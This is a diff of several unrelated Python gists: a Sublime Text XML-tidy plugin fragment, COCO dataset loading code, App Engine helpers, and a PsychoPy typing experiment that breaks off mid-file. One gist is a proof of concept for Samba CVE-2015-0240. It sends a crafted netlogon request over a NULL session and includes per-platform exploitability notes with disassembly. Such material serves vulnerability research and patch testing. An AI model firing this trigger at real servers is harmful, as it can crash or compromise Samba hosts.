+    p = subprocess.Popen(command, bufsize=-1, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True)
+    result, err = p.communicate(self.view.substr(region).encode('utf-8'))
+    
+    if err != "":
+      self.view.set_status('tidyxml', "tidyxml: "+err)
+      sublime.set_timeout(self.clear,10000)
+    else:
+      self.view.replace(edit, self.view.line(region), result.decode('utf-8').replace('\r\n', '\n'))
+      sublime.set_timeout(self.clear,0)
+      sublime.set_timeout(self.move_cursor,1) # minor delay necessary, not sure why
+
+  def move_cursor(self):
+    if self.cursor != None:
+      self.view.sel().clear()
+      self.view.sel().add(self.cursor)
+      self.view.show(self.cursor)
\ No newline at end of file
diff --git a/hard-gists/33cc5534cb555a0b710b/._snippet.py b/hard-gists/33cc5534cb555a0b710b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/33cc5534cb555a0b710b/._snippet.py differ
diff --git a/hard-gists/33cc5534cb555a0b710b/snippet.py b/hard-gists/33cc5534cb555a0b710b/snippet.py
new file mode 100644
index 00000000..9fe0ede0
--- /dev/null
+++ b/hard-gists/33cc5534cb555a0b710b/snippet.py
@@ -0,0 +1,217 @@
+#!/usr/bin/python
+"""
+PoC for Samba vulnerabilty (CVE-2015-0240) by sleepya
+This PoC does only triggering the bug
+
+Reference:
+- https://securityblog.redhat.com/2015/02/23/samba-vulnerability-cve-2015-0240/
+
+#################
+Exploitability against CentOS/Ubuntu binaries
+#################
+
+Below are analysis result shown the 'creds' value will be on each platform.
+Only tracing binary on CentOS6 is explained how to find the uninitialized 'creds' data.
+
+CentOS6 x86 (samba 3.6.9):
+- 'creds' value is always 0x40 (computed from sizeof(struct netr_Authenticator))
+
+CentOS6 x64 (samba 3.6.9): (only look at assembly, no test)
+- 'creds' value is address in _talloc_zero() after call memset@plt (saved pc)
+
+Ubuntu 12.04 x86 (samba 3.6.3): (confirmed code execution)
+- 'creds' value is '_ptr_server_name' value in ndr_pull_netr_ServerPasswordSet() function
+
+Ubuntu 12.04 x64 (samba 3.6.3): (only look at assembly, no test)
+- 'creds' value is address in _talloc_zero() after call memset@plt (saved pc)
+
+Ubuntu 14.04 x86 (samba 4.1.6): (only look at assembly, no test)
+- 'creds' value is 'r' value in api_netr_ServerPasswordSet() function minus 0x30 ('struct talloc_chunk'  of 'r')
+
+Ubuntu 14.04 x64 (samba 4.1.6):
+- 'creds' value is 'r' value in api_netr_ServerPasswordSet() function
+
+Debian 7 x86 (samba 3.6.6): (confirmed code execution)
+- 'creds' value is '_ptr_server_name' value in ndr_pull_netr_ServerPasswordSet() function
+
+Debian 7 x64 (samba 3.6.6): (only look at assembly, no test)
+- 'creds' value is address in _talloc_zero() after call memset@plt (saved pc)
+
+
+(My) Conclusion:
+- code execution is possible on samba package of Ubuntu 12.04 x86 and Debian 7 x86
+- code execution might be possible (very difficult) on samba package of Ubuntu 14.04 x86
+
+
+#################
+Analysis of samba-3.6.9-164.el6.i686 on centos6
+#################
+
+The _netr_ServerPasswordSet() function is called from api_netr_ServerPasswordSet()
+function in "librpc/gen_ndr/srv_netlogon.c".
+
+When looking in to assembly (comparing to source code) of 
+_netr_ServerPasswordSet function, the creds address is "ebp-0x1c".
+
+    00298c10 <_netr_ServerPasswordSet>:
+      298c10:       55                      push   %ebp
+      298c11:       89 e5                   mov    %esp,%ebp
+          ...
+      298c40:       e8 eb 30 e7 ff          call   10bd30 <become_root>
+          ...
+      298c4e:       8d 45 e4                lea    -0x1c(%ebp),%eax  ; creds address (ebp-0x1c, value is 0x40)
+      298c51:       89 44 24 10             mov    %eax,0x10(%esp)   ; pass creds to netr_creds_server_step_check()
+          ...
+      298c78:       e8 a3 cd ff ff          call   295a20 <_netr_GetDcName+0x280> ; netr_creds_server_step_check
+          ...
+      298c83:       e8 78 2f e7 ff          call   10bc00 <unbecome_root>
+
+
+Running the PoC against samba-3.6.9 on centos6 x86, the creds value in 
+_netr_ServerPasswordSet() function is always 0x40. To tracking the uninitialized 
+value of creds, I check the source in api_netr_ServerPasswordSet() function. 
+I found the call to talloc_zero() function before calling to _netr_ServerPasswordSet()
+function.
+
+    r->out.return_authenticator = talloc_zero(r, struct netr_Authenticator);
+    if (r->out.return_authenticator == NULL) {
+        talloc_free(r);
+        return false;
+    }
+
+    r->out.result = _netr_ServerPasswordSet(p, r);
+
+
+I checked the assembly of _talloc_zero() function. The "ebp+0x1c" is set inside
+this function. After tracking define and use, the value at "ebp+0x1c" is computed
+from 2nd argument of _talloc_zero().
+
+
+    00004ae0 <_talloc_zero>:
+        4ae0:       55                      push   %ebp
+        4ae1:       89 e5                   mov    %esp,%ebp
+          ...
+        4afa:       8b 7d 0c                mov    0xc(%ebp),%edi  ; 2nd argument to edi
+          ...
+        4b41:       8d 77 3f                lea    0x3f(%edi),%esi
+        4b44:       83 e6 f0                and    $0xfffffff0,%esi
+        4b47:       89 75 e4                mov    %esi,-0x1c(%ebp) ; same stack address as creds
+
+
+The 2nd arguemnt of _talloc_zero() function is 'size'. The size value is 
+sizeof(struct netr_Authenticator), which is 0xc bytes. That's why the uninitialized
+value of creds in _netr_ServerPasswordSet() function is always 0x40 on centos6.
+
+So code execution seems to be impossible for me on centos6 samba-3.6.9-164.el6.i686.
+
+#################
+
+"""
+
+import sys
+
+import impacket
+from impacket.dcerpc.v5 import transport, nrpc
+from impacket.dcerpc.v5.ndr import NDRCALL
+
+if len(sys.argv) < 2:
+    print("Usage: {} <target_ip>".format(sys.argv[0]))
+    sys.exit(1)
+    
+target = sys.argv[1]
+
+username = ''
+password = ''
+
+###
+# impacket does not implement NetrServerPasswordSet
+###
+from impacket.dcerpc.v5.dtypes import *
+
+# 3.5.4.4.6 NetrServerPasswordSet (Opnum 6)
+class NetrServerPasswordSet(NDRCALL):
+    opnum = 6
+    structure = (
+       ('PrimaryName',nrpc.PLOGONSRV_HANDLE),
+       ('AccountName',WSTR),
+       ('SecureChannelType',nrpc.NETLOGON_SECURE_CHANNEL_TYPE),
+       ('ComputerName',WSTR),
+       ('Authenticator',nrpc.NETLOGON_AUTHENTICATOR),
+       ('UasNewPassword',nrpc.ENCRYPTED_NT_OWF_PASSWORD),
+    )
+
+class NetrServerPasswordSetResponse(NDRCALL):
+    structure = (
+       ('ReturnAuthenticator',nrpc.NETLOGON_AUTHENTICATOR),
+       ('ErrorCode',NTSTATUS),
+    )
+
+nrpc.OPNUMS[6] = (NetrServerPasswordSet, NetrServerPasswordSetResponse)
+
+
+###
+# connect to target
+###
+rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\PIPE\netlogon]' % target)
+rpctransport.set_credentials('','')  # NULL session
+rpctransport.set_dport(445)
+# impacket has a problem with SMB2 dialect against samba4
+# force to 'NT LM 0.12' only
+rpctransport.preferred_dialect('NT LM 0.12')
+
+dce = rpctransport.get_dce_rpc()
+dce.connect()
+dce.bind(nrpc.MSRPC_UUID_NRPC)
+
+###
+# request for session key
+###
+#resp = nrpc.hNetrServerReqChallenge(dce, NULL, target + '\x00', '12345678')
+#resp.dump()
+#serverChallenge = resp['ServerChallenge']
+#sessionKey = nrpc.ComputeSessionKeyStrongKey(password, '12345678', serverChallenge, None)
+sessionKey = '\x00'*16
+
+
+###
+# prepare ServerPasswordSet request
+###
+authenticator = nrpc.NETLOGON_AUTHENTICATOR()
+authenticator['Credential'] = nrpc.ComputeNetlogonCredential('12345678', sessionKey)
+authenticator['Timestamp'] = 10
+
+uasNewPass = nrpc.ENCRYPTED_NT_OWF_PASSWORD()
+uasNewPass['Data'] = '\x00'*16
+
+primaryName = nrpc.PLOGONSRV_HANDLE()
+# ReferentID field of PrimaryName controls the uninitialized value of creds in ubuntu 12.04 32bit
+primaryName.fields['ReferentID'] = 0x41414141
+
+request = NetrServerPasswordSet()
+request['PrimaryName'] = primaryName
+request['AccountName'] = username+'a\x00'
+request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel
+request['ComputerName'] = target+'\x00'
+request['Authenticator'] = authenticator
+request['UasNewPassword'] = uasNewPass
+
+
+DCERPCSessionError = nrpc.DCERPCSessionError
+try:
+    resp = dce.request(request)
+    print("no error !!! error code: 0xc0000225 or 0xc0000034 is expected")
+    print("seems not vulnerable")
+    #resp.dump()
+    dce.disconnect()
+except DCERPCSessionError as e:
+    # expect error_code: 0xc0000225 - STATUS_NOT_FOUND
+    # expect error_code: 0xc0000034 - STATUS_OBJECT_NAME_NOT_FOUND
+    print("seems not vulnerable")
+    #resp.dump()
+    dce.disconnect()
+except impacket.nmb.NetBIOSError as e:
+    if e.args[0] == 'Error while reading from remote':
+        print("connection lost!!!\nmight be vulnerable")
+    else:
+        raise
+
diff --git a/hard-gists/33e2172bafbb5dd794ab/._snippet.py b/hard-gists/33e2172bafbb5dd794ab/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/33e2172bafbb5dd794ab/._snippet.py differ
diff --git a/hard-gists/33e2172bafbb5dd794ab/snippet.py b/hard-gists/33e2172bafbb5dd794ab/snippet.py
new file mode 100644
index 00000000..9d4057a7
--- /dev/null
+++ b/hard-gists/33e2172bafbb5dd794ab/snippet.py
@@ -0,0 +1,264 @@
+# Authors: Kyle Kastner, Francesco Visin
+# License: BSD 3-Clause
+try:
+    import Queue
+except ImportError:
+    import queue as Queue
+import threading
+import time
+from matplotlib.path import Path
+from PIL import Image
+import numpy as np
+import warnings
+import os
+import itertools
+from retrying import retry
+# Get pycocotools from https://github.com/pdollar/coco/archive/master.zip
+# Go to coco-main/PythonAPI
+# python setup.py build
+# python setup.py install
+from pycocotools.coco import COCO
+from pycocotools import mask as cocomask
+
+
+def fetch_from_COCO(filenames, img_list,
+                    coco_info,
+                    resize_images=False, resize_size=-1,
+                    load_categories=['person']):
+    images = []
+    masks = []
+    assert len(filenames) == len(img_list)
+    for n, img_el in enumerate(img_list):
+        # load image
+        if not os.path.exists(filenames[n]):
+            print('Image %s is missing' % filenames[n])
+            continue
+
+        pth = filenames[n]
+        im = Image.open(pth)
+
+        coco, catIds, imgIds = coco_info
+
+        # load the annotations and build the mask
+        anns = coco.loadAnns(coco.getAnnIds(
+            imgIds=img_el['id'], catIds=catIds, iscrowd=None))
+
+        mask = np.zeros(im.size).transpose(1, 0)
+        for ann in anns:
+            catId = ann['category_id']
+            if type(ann['segmentation']) == list:
+                # polygon
+                for seg in ann['segmentation']:
+                    # xy vertex of the polygon
+                    poly = np.array(seg).reshape((len(seg)/2, 2))
+                    closed_path = Path(poly)
+                    nx, ny = img_el['width'], img_el['height']
+                    x, y = np.meshgrid(np.arange(nx),
+                                       np.arange(ny))
+                    x, y = x.flatten(), y.flatten()
+                    points = np.vstack((x, y)).T
+                    grid = closed_path.contains_points(points)
+                    if np.count_nonzero(grid) == 0:
+                        warnings.warn(
+                            'One of the annotations that compose the mask '
+                            'of %s was empty' % img_el['file_name'],
+                            RuntimeWarning)
+                    grid = grid.reshape((ny, nx))
+                    mask[grid] = catId
+            else:
+                # mask
+                if type(ann['segmentation']['counts']) == list:
+                    rle = cocomask.frPyObjects(
+                        [ann['segmentation']],
+                        img_el['height'], img_el['width'])
+                else:
+                    rle = [ann['segmentation']]
+                grid = cocomask.decode(rle)[:, :, 0]
+                grid = grid.astype('bool')
+                mask[grid] = catId
+
+        # zero_pad
+        if resize_images:
+            rx, ry = resize_size
+            # resize (keeping proportions)
+            [x, y] = im.size
+            dx = float(rx)/x
+            dy = float(ry)/y
+            ratio = min(dx, dy)
+            x = int(x * ratio)
+            y = int(y * ratio)
+
+            # workaround for PIL problems..
+            @retry(stop_max_attempt_number=7, wait_fixed=2000)
+            def res(im, x, y):
+                return im.resize((x, y), Image.ANTIALIAS)
+            im = res(im, x, y)
+            # mask = mask / numpy.max(mask) * 255.0 --> only visualization
+            mask = Image.fromarray(mask.astype('uint8'))
+            mask = mask.resize((x, y), Image.NEAREST)
+
+            tmp = im
+            im = Image.new("RGB", (rx, ry))
+            im.paste(tmp, ((rx-x)/2, (ry-y)/2))
+            tmp = mask
+            # 80 obj categories
+            mask = Image.new("L", (rx, ry))
+            mask.paste(tmp, ((rx-x)/2, (ry-y)/2))
+
+            images.append(np.asarray(im))
+            masks.append(np.asarray(mask))
+    return images, masks, filenames
+
+
+class COCOThread(threading.Thread):
+    """Image Thread"""
+    def __init__(self, queue, out_queue):
+        threading.Thread.__init__(self)
+        self.queue = queue
+        self.out_queue = out_queue
+
+    def run(self):
+        while True:
+            # Grabs image path from queue
+            filenames, image_list, coco_info = self.queue.get()
+            try:
+                # Grab image
+                # print('reading image', image_path)
+                image_group, mask_group, filenames = fetch_from_COCO(
+                    filenames, image_list, coco_info)
+                # Place image in out queue
+                self.out_queue.put((image_group, mask_group))
+                # Signals to queue job is done
+                self.queue.task_done()
+            except IOError:
+                print("Image in image_group corrupted!")
+                print(image_group)
+
+
+class MSCOCO_dataset(object):
+    def __init__(self, minibatch_size=3, which_set="train", coco_path="/data/lisa/data/COCO/",
+                 load_categories=['person']):
+        if which_set == "train":
+            partial_path = "train2014"
+        elif which_set == "valid":
+            partial_path = "val2014"
+        elif which_set == "test2014":
+            partial_path = "test2014"
+        elif which_set == "test2015":
+            partial_path = "test2015"
+        else:
+            raise ValueError("Unknown setting for which_set %s" % which_set)
+
+        base_path = os.path.join(coco_path, "images", partial_path)
+        ann_path = '%s/annotations_v1.0.3/instances_%s.json' % (coco_path,
+                                                                partial_path)
+        filenames = []
+        # initialize COCO api for instance annotations
+        coco = COCO(ann_path)
+
+        # get all images containing the given categories
+        catIds = coco.getCatIds(catNms=load_categories)
+        imgIds = coco.getImgIds(catIds=catIds)
+        img_list = coco.loadImgs(imgIds)
+
+        self.coco_info = (coco, catIds, imgIds)
+        for img_el in img_list:
+            # load image
+            filename = '%s/%s' % (base_path, img_el['file_name'])
+            if not os.path.exists(filename):
+                print('Image %s is missing' % img_el['file_name'])
+            else:
+                filenames.append(filename)
+
+        assert(len(filenames) == len(img_list))
+        self.image_list = img_list
+        self.filenames = filenames
+
+        self.n_per_epoch = len(filenames)
+        self.n_samples_seen_ = 0
+
+        # Test random order
+        # random.shuffle(self.image_paths)
+
+        self.buffer_size = 5
+        self.minibatch_size = minibatch_size
+        self.input_qsize = 50
+        self.min_input_qsize = 10
+        if len(self.image_list) % self.minibatch_size != 0:
+            print("WARNING: Sample size not an even multiple of minibatch size")
+            print("Truncating...")
+            self.image_list = self.image_list[:-(
+                len(self.image_list) % self.minibatch_size)]
+            self.filenames = self.filenames[:-(
+                len(self.filenames) % self.minibatch_size)]
+        assert len(self.image_list) % self.minibatch_size == 0
+        assert len(self.filenames) % self.minibatch_size == 0
+
+        self.grouped_image_list = zip(*[iter(self.image_list)] *
+                                      self.minibatch_size)
+        self.grouped_filenames = zip(*[iter(self.filenames)] *
+                                     self.minibatch_size)
+        # Infinite...
+        self.grouped_elements = itertools.cycle(zip(self.grouped_filenames,
+                                                self.grouped_image_list,
+                                                [self.coco_info] * len(
+                                                    self.grouped_image_list)))
+        self.queue = Queue.Queue()
+        self.out_queue = Queue.Queue(maxsize=self.buffer_size)
+        self._init_queues()
+
+    def _init_queues(self):
+        for i in range(1):
+            self.it = COCOThread(self.queue, self.out_queue)
+            self.it.setDaemon(True)
+            self.it.start()
+
+        # Populate queue with some paths to image data
+        for n, _ in enumerate(range(self.input_qsize)):
+            group = self.grouped_elements.next()
+            self.queue.put(group)
+
+    def __iter__(self):
+        return self
+
+    def __next__(self):
+        return self.next()
+
+    def next(self):
+        return self._step()
+
+    def reset(self):
+        self.n_samples_seen_ = 0
+
+    def _step(self):
+        if self.n_samples_seen_ >= self.n_per_epoch:
+            self.reset()
+            raise StopIteration("End of epoch")
+        image_group = self.out_queue.get()
+        self.n_samples_seen_ += self.minibatch_size
+        if self.queue.qsize() <= self.min_input_qsize:
+            for image_path_group in range(self.input_qsize):
+                group = self.grouped_elements.next()
+                self.queue.put(group)
+        return image_group
+
+
+if __name__ == "__main__":
+    # Example usage
+    ds = MSCOCO_dataset()
+    start = time.time()
+    n_minibatches_to_run = 100
+    itr = 1
+    while True:
+        image_group = ds.next()
+        # time.sleep approximates running some model
+        time.sleep(1)
+        stop = time.time()
+        tot = stop - start
+        print("Threaded time: %s" % (tot))
+        print("Minibatch %s" % str(itr))
+        print("Time ratio (s per minibatch): %s" % (tot / float(itr)))
+        itr += 1
+        # test
+        if itr >= n_minibatches_to_run:
+            break
diff --git a/hard-gists/3409403/._snippet.py b/hard-gists/3409403/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3409403/._snippet.py differ
diff --git a/hard-gists/3409403/snippet.py b/hard-gists/3409403/snippet.py
new file mode 100644
index 00000000..0e119325
--- /dev/null
+++ b/hard-gists/3409403/snippet.py
@@ -0,0 +1,17 @@
+from google.appengine.ext import db, ndb
+from google.appengine.datastore import entity_pb
+
+def db_entity_to_protobuf(e):
+    return db.model_to_protobuf(e).Encode()
+
+def protobuf_to_db_entity(pb):
+    # precondition: model class must be imported
+    return db.model_from_protobuf(entity_pb.EntityProto(pb))
+
+def ndb_entity_to_protobuf(e):
+    return ndb.ModelAdapter().entity_to_pb(e).Encode()
+
+def protobuf_to_ndb_entity(pb):
+    # precondition: model class must be imported
+    return ndb.ModelAdapter().pb_to_entity(entity_pb.EntityProto(pb))
+
diff --git a/hard-gists/3411495/._snippet.py b/hard-gists/3411495/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3411495/._snippet.py differ
diff --git a/hard-gists/3411495/snippet.py b/hard-gists/3411495/snippet.py
new file mode 100644
index 00000000..d822a454
--- /dev/null
+++ b/hard-gists/3411495/snippet.py
@@ -0,0 +1,351 @@
+#Uploaded in response to query on psychopy list: https://groups.google.com/group/psychopy-users/browse_thread/thread/c65e453edf530f8
+#asking for code to input a string. 
+#Program flashes string on screen, and user tries to type it in. Supports backspace but no other editing special characters.
+#Checks whether subject got it right
+#Alex Holcombe alex.holcombe@sydney.edu.au  21 August 2012
+#licensing: CC-BY whch means do whatever you want with it, with an attribution to the author. If you want permission to use it without 
+#attribution, just contact me.
+
+from psychopy import monitors, visual, event, data, logging, core, sound, gui
+import psychopy.info
+import numpy as np
+from math import atan
+from copy import deepcopy
+import time
+import sys, os
+
+refreshRate=60
+autopilot=False
+subject='Hubert' 
+if autopilot: subject='auto'
+if os.path.isdir('.'+os.sep+'data'):
+    dataDir='data'
+else:
+    print '"data" directory does not exist, so saving data in present working directory'
+    dataDir='.'
+timeAndDateStr = time.strftime("%d%b%Y_%H-%M", time.localtime())
+
+showRefreshMisses=True #flicker fixation at refresh rate, so visualize missed frames
+feedback=True 
+autoLogging=False
+
+bgColor = [-1.,-1.,-1.] # [-1,-1,-1]
+letterColor = [1.,1.,1.]
+#letter size 2.5 deg
+numLettersToPresent = 4
+letterDurMs = 350 #23.6  
+letterDurFrames = int( np.floor(letterDurMs / (1000./refreshRate)) )
+trialDurFrames = letterDurFrames
+
+widthPix=1024 #monitor width in pixels
+heightPix=768 #monitor height in pixels
+monitorwidth = 38.7 #Lizzie reports that they have an ultrawide screen of 51x29.  38.7 is what the width *would* be if they had a standard aspect ratio.   #monitor width in centimeters
+fullscr=1; 
+scrn=0 #0 to use main screen, 1 to use external screen connected to computer
+allowGUI = False
+
+viewdist = 57.; #cm
+pixelperdegree = widthPix/ (atan(monitorwidth/viewdist) /np.pi*180)
+print 'pixelperdegree=',pixelperdegree
+
+monitorname = 'testmonitor'
+waitBlank = False
+mon = monitors.Monitor(monitorname,width=monitorwidth, distance=viewdist)#relying on  monitorwidth cm (39 for Mitsubishi to do deg calculations) and gamma info in calibratn
+mon.setSizePix( (widthPix,heightPix) )
+units='deg' #'cm'
+myWin = visual.Window(monitor=mon,size=(widthPix,heightPix),allowGUI=allowGUI,units=units,color=bgColor,colorSpace='rgb',fullscr=fullscr,screen=scrn,waitBlanking=waitBlank) #Holcombe lab monitor
+#HAVE TO CLOSE WINDOW, AND THEN OPEN IT AGAIN
+ 
+#check screen refresh is what assuming it is ########################################################################
+Hzs=list()
+myWin.flip(); myWin.flip();myWin.flip();myWin.flip();
+myWin.setRecordFrameIntervals(True) #otherwise myWin.fps won't work
+for i in range(50):
+    myWin.flip()
+    Hzs.append( myWin.fps() )  #varies wildly on successive runs!
+myWin.setRecordFrameIntervals(False)
+# end testing of screen refresh########################################################################
+Hzs = np.array( Hzs );     Hz= np.median(Hzs)
+msPerFrame= 1000./Hz
+refreshMsg1= 'Frames per second ~='+ str( np.round(Hz,1) )
+refreshRateWrong = abs( (np.median(Hzs)-refreshRate) / refreshRate) > .05
+refreshMsg2 = ''
+if refreshRateWrong:
+    refreshMsg2 = ' BUT'
+refreshMsg2 += ' program assumes refreshRate= ' + str(refreshRate)
+refreshMsg3 = ' '
+if refreshRateWrong:
+   refreshMsg3=  ' which is off by more than 5% !!'
+else:
+   refreshMsg3= ' which is close enough for an RSVP experiment'
+
+myWinRes = myWin.size
+
+trialsPerCondition = 1 #default value
+
+#set up output data file, log file,  copy of program code, and logging
+fileName = dataDir+'/'+subject+'_'+timeAndDateStr
+dataFile = open(fileName+'.txt', 'w')  # sys.stdout  
+saveCodeCmd = 'cp \'' + sys.argv[0] + '\' '+ fileName + '.py'
+os.system(saveCodeCmd)  #save a copy of the code as it was when that subject was run
+logFname = fileName+'.log'
+ppLogF = logging.LogFile(logFname, 
+    filemode='w',#if you set this to 'a' it will append instead of overwriting
+    level=logging.INFO)#errors, data and warnings will be sent to this logfile
+logging.console.setLevel(logging.WARNING) #DEBUG means set the console to receive nearly all messges, INFO is for everything else, INFO, EXP, DATA, WARNING and ERROR 
+
+runInfo = psychopy.info.RunTimeInfo(
+    # if you specify author and version here, it overrides the automatic detection of __author__ and __version__ in your script
+    #author='<your name goes here, plus whatever you like, e.g., your lab or contact info>',
+    #version="<your experiment version info>",
+    win=myWin,    ## a psychopy.visual.Window() instance; None = default temp window used; False = no win, no win.flips()
+    refreshTest='grating', ## None, True, or 'grating' (eye-candy to avoid a blank screen)
+    verbose=False, ## True means report on everything 
+    userProcsDetailed=True,  ## if verbose and userProcsDetailed, return (command, process-ID) of the user's processes
+    #randomSeed='set:42', ## a way to record, and optionally set, a random seed of type str for making reproducible random sequences
+        ## None -> default 
+        ## 'time' will use experimentRuntime.epoch as the value for the seed, different value each time the script is run
+        ##'set:time' --> seed value is set to experimentRuntime.epoch, and initialized: random.seed(info['randomSeed'])
+        ##'set:42' --> set & initialize to str('42'), and will give the same sequence of random.random() for all runs of the script
+    )
+logging.info(runInfo)
+logging.flush()
+
+#create click sound for keyboard
+try:
+    click=sound.Sound('406__tictacshutup__click-1-d.wav')
+except: #in case file missing, create inferiro click manually
+    logging.warn('Could not load the desired click sound file, instead using manually created inferior click')
+    click=sound.Sound('D',octave=4, sampleRate=22050, secs=0.015, bits=8)
+
+stimList = []
+possibleStrings = np.array([ 'HECK','ABCD','JUMP','RUMP','CAT','DUMPSTER' ]) # [4,10,16,22] used in Martini E2, group 2
+maxNumRespsWanted = 0
+for stim in possibleStrings: #calculate longest one
+    maxNumRespsWanted = max(maxNumRespsWanted, len(stim))
+    
+for stim in possibleStrings:  #set up the  trial conditions in the experiment
+        stimList.append( {'stim':stim} )
+        
+trials = data.TrialHandler(stimList,trialsPerCondition) #constant stimuli method
+
+logging.info( 'numtrials=' + str(trials.nTotal) + ' and each trialDurFrames='+str(trialDurFrames)+' or '+str(trialDurFrames*(1000./refreshRate))+ \
+               ' ms' )
+print ' numtrials=', trials.nTotal; 
+
+def numberToLetter(number): #0 = A, 25 = Z
+    #if it's not really a letter, return @
+    #if type(number) != type(5) and type(number) != type(np.array([3])[0]): #not an integer or numpy.int32
+    #    return ('@')
+    if number < 0 or number > 25:
+        return ('@')
+    else: #it's probably a letter
+        try:
+            return chr( ord('A')+number )
+        except:
+            return('@')
+
+def letterToNumber(letter): #A = 0, Z = 25
+    #if it's not really a letter, return -999
+    #HOW CAN I GENERICALLY TEST FOR LENGTH. EVEN IN CASE OF A NUMBER THAT' SNOT PART OF AN ARRAY?
+    try:
+        #if len(letter) > 1:
+        #    return (-999)
+        if letter < 'A' or letter > 'Z':
+            return (-999)
+        else: #it's a letter
+            return ord(letter)-ord('A')
+    except:
+        return (-999)
+
+
+#print header for data file
+print >>dataFile, 'trialnum\tsubject\ttask\t',
+for i in range(maxNumRespsWanted):
+   dataFile.write('answer'+str(i)+'\t')
+   dataFile.write('response'+str(i)+'\t')
+   dataFile.write('correct'+str(i)+'\t')
+print >>dataFile, 'timingBlips'
+#end of header
+
+def collectResponses(passThisTrial,numRespsWanted,responses,responsesAutopilot,expStop,responseDebug=False): 
+    respStr = ''
+    responses=[]
+    numResponses = 0
+    while numResponses < numRespsWanted and not expStop:
+        #print 'numResponses=', numResponses #debugOFF
+        noResponseYet=True
+        thisResponse = ''
+        while noResponseYet: #collect one response
+               respPromptText.draw()
+               #respStr= 'Y'
+               #print 'respStr = ', respStr, ' type=',type(respStr) #debugOFF
+               respText.setText(respStr)
+               respText.draw()
+               myWin.flip()
+               for key in event.getKeys():       #check if pressed abort-type key
+                      key = key.upper()
+                      thisResponse = key
+                      if key in ['ESCAPE']:
+                          expStop = True
+                          noResponseYet = False
+                      if key in ['BACKSPACE']:
+                          if len(responses) >0:
+                                responses.pop()
+                                numResponses -= 1
+                                #refresh text to draw
+                                respStr = ''.join(responses) #converts list of characters (responses) into string
+                      if key in ['SPACE']: #observer opting out because think they moved their eyes
+                          passThisTrial = True
+                          noResponseYet = False
+                      if key in ['A', 'C', 'B', 'E', 'D', 'G', 'F', 'I', 'H', 'K', 'J', 'M', 'L', 'O', 'N', 'Q', 'P', 'S', 'R', 'U', 'T', 'W', 'V', 'Y', 'X', 'Z']:
+                          noResponseYet = False
+               if autopilot:
+                   noResponseYet=False
+        #click to provide feedback that response collected. Eventually, draw on screen
+        click.play()
+        if thisResponse or autopilot:
+            responses.append(thisResponse)
+            numResponses += 1 #not just using len(responses) because want to work even when autopilot, where thisResponse is null
+        respStr = ''.join(responses) #converts list of characters (responses) into string
+        #print 'responses=',responses,' respStr = ', respStr #debugOFF
+        respText.setText(respStr); respText.draw(); myWin.flip() #draw again, otherwise won't draw the last key
+        
+    responsesAutopilot = np.array(   numRespsWanted*list([letterToNumber('A')])        )
+    responses=np.array( responses )
+    #print 'responses=', responses,' responsesAutopilot=', responsesAutopilot #debugOFF
+    return passThisTrial,responses,responsesAutopilot,expStop
+# ###### #End of function definition that collects responses!!!! #####################################
+#############################################################################################################################
+respText = visual.TextStim(myWin,pos=(0,0),colorSpace='rgb',color=(1,1,0),alignHoriz='center', alignVert='center',height=.16,units='norm',autoLog=autoLogging)
+respPromptText = visual.TextStim(myWin,pos=(0, -.9),colorSpace='rgb',color=(1,1,1),alignHoriz='center', alignVert='center',height=.1,units='norm',autoLog=autoLogging)
+strStim = visual.TextStim(myWin,pos=(0,0),colorSpace='rgb',color=letterColor,alignHoriz='center',alignVert='center',units='deg',autoLog=autoLogging)
+strStim.setHeight( 2.5 ) #Martini letters were 2.5deg high
+
+trialClock = core.Clock()
+nDone=0; numTrialsCorrect=0; expStop=False; framesSaved=0
+while nDone < trials.nTotal and expStop==False:
+    thisTrial = trials.next()
+    strToDisplay = thisTrial['stim'] #connect to letter sequence or delete letter sequence
+    strStim.setText( strToDisplay )
+    correctAnswer = strToDisplay
+
+    preDrawStimToGreasePipeline = list() #I don't know why this works, but without drawing it I have consistent timing blip first time that draw ringInnerR for phantom contours
+    for stim in preDrawStimToGreasePipeline:
+        stim.draw()
+    myWin.flip(); myWin.flip()
+    #end preparation of stimuli
+    
+    core.wait(.1);
+    trialClock.reset()
+    fixatnPeriodMin = 0.3
+    fixatnPeriodFrames = int(   (np.random.rand(1)/2.+fixatnPeriodMin)   *refreshRate)  #random interval between 800ms and 1.3s (changed when Fahed ran outer ring ident)
+    ts = list(); #to store time of each drawing, to check whether skipped frames
+    for i in range(fixatnPeriodFrames+20):  #prestim fixation interval
+        myWin.flip()  #end fixation interval
+    t0=trialClock.getTime();
+    for n in range(trialDurFrames): #this is the loop for this trial's stimulus!
+        strStim.draw()
+        myWin.flip()
+        
+    t=trialClock.getTime()-t0;  ts.append(t);
+    #end of big stimulus loop
+    myWin.setRecordFrameIntervals(False);
+    #check for timing problems
+    interframeIntervs = np.diff(ts)*1000
+    #print '   interframe intervs were ',around(interframeIntervs,1) #DEBUGOFF
+    frameTimeTolerance=.3 #proportion longer than refreshRate that will not count as a miss
+    longFrameLimit = np.round(1000/refreshRate*(1.0+frameTimeTolerance),2)
+    idxsInterframeLong = np.where( interframeIntervs > longFrameLimit ) [0] #frames that exceeded 150% of expected duration
+    numCasesInterframeLong = len( idxsInterframeLong )
+    if numCasesInterframeLong >0 :
+       longFramesStr =  'ERROR,'+str(numCasesInterframeLong)+' frames were longer than '+str(longFrameLimit)+' ms'
+       longFramesStr += ' apparently screen refreshes skipped, interframe durs were:'+\
+                    str( np.around(  interframeIntervs[idxsInterframeLong] ,1  ) )+ ' and was these frames: '+ str(idxsInterframeLong)
+       if longFramesStr != None:
+                logging.error( 'trialnum='+str(nDone)+' '+longFramesStr )
+                flankingAlso=list()
+                for idx in idxsInterframeLong: #also print timing of one before and one after long frame
+                    if idx-1>=0:  flankingAlso.append(idx-1)
+                    else: flankingAlso.append(np.NaN)
+                    flankingAlso.append(idx)
+                    if idx+1<len(interframeIntervs):  flankingAlso.append(idx+1)
+                    else: flankingAlso.append(np.NaN)
+                flankingAlso = np.array(flankingAlso)
+                flankingAlso = flankingAlso[np.negative(np.isnan(flankingAlso))]  #remove nan values
